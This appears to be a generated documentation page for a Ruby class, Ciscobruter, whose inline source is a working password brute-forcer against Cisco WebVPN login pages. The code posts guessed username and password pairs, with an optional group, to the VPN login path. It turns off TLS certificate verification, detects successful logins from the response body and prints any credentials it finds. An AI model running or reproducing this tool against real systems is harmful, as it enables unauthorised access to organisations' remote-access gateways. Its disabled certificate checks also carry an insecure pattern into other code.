class Ciscobruter
Attributes
group[RW]
headers[RW]
http[RW]
path[RW]
uri[RW]
verbose[RW]
Public Class Methods
new(target, verbose=nil, login=nil, group=nil)
click to toggle source
# File lib/ciscobruter.rb, line 43 def initialize(target, verbose=nil, login=nil, group=nil) self.uri = URI.parse(target) self.path = set_path(login) self.group = group self.http = setup_http self.headers = { 'Cookie' => 'webvpnlogin=1; webvpnLang=en' } self.verbose = verbose end
Public Instance Methods
try_credentials(username, password)
click to toggle source
# File lib/ciscobruter.rb, line 52 def try_credentials(username, password) info "Trying username: #{username} and password: #{password} on #{uri.host}" if verbose post = "username=#{username}&password=#{password}" if group != nil post += "&group_list=#{group}" end response = http.post(path, post, headers) if response.code == "200" if validate_credentials(response.body) report_creds(username, password) end elsif response.code == "302" warn "Error. #{path} not valid." end return end
Private Instance Methods
report_creds(user, pass)
click to toggle source
# File lib/ciscobruter.rb, line 88 def report_creds(user, pass) warn "CREDENTIALS FOUND! username: #{user} password: #{pass}" end
set_path(login)
click to toggle source
# File lib/ciscobruter.rb, line 73 def set_path(login) return login.nil? ? '/+webvpn+/index.html' : login end
setup_http()
click to toggle source
# File lib/ciscobruter.rb, line 77 def setup_http http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE return http end
validate_credentials(html)
click to toggle source
# File lib/ciscobruter.rb, line 84 def validate_credentials(html) return html !~ /document.location.replace/ end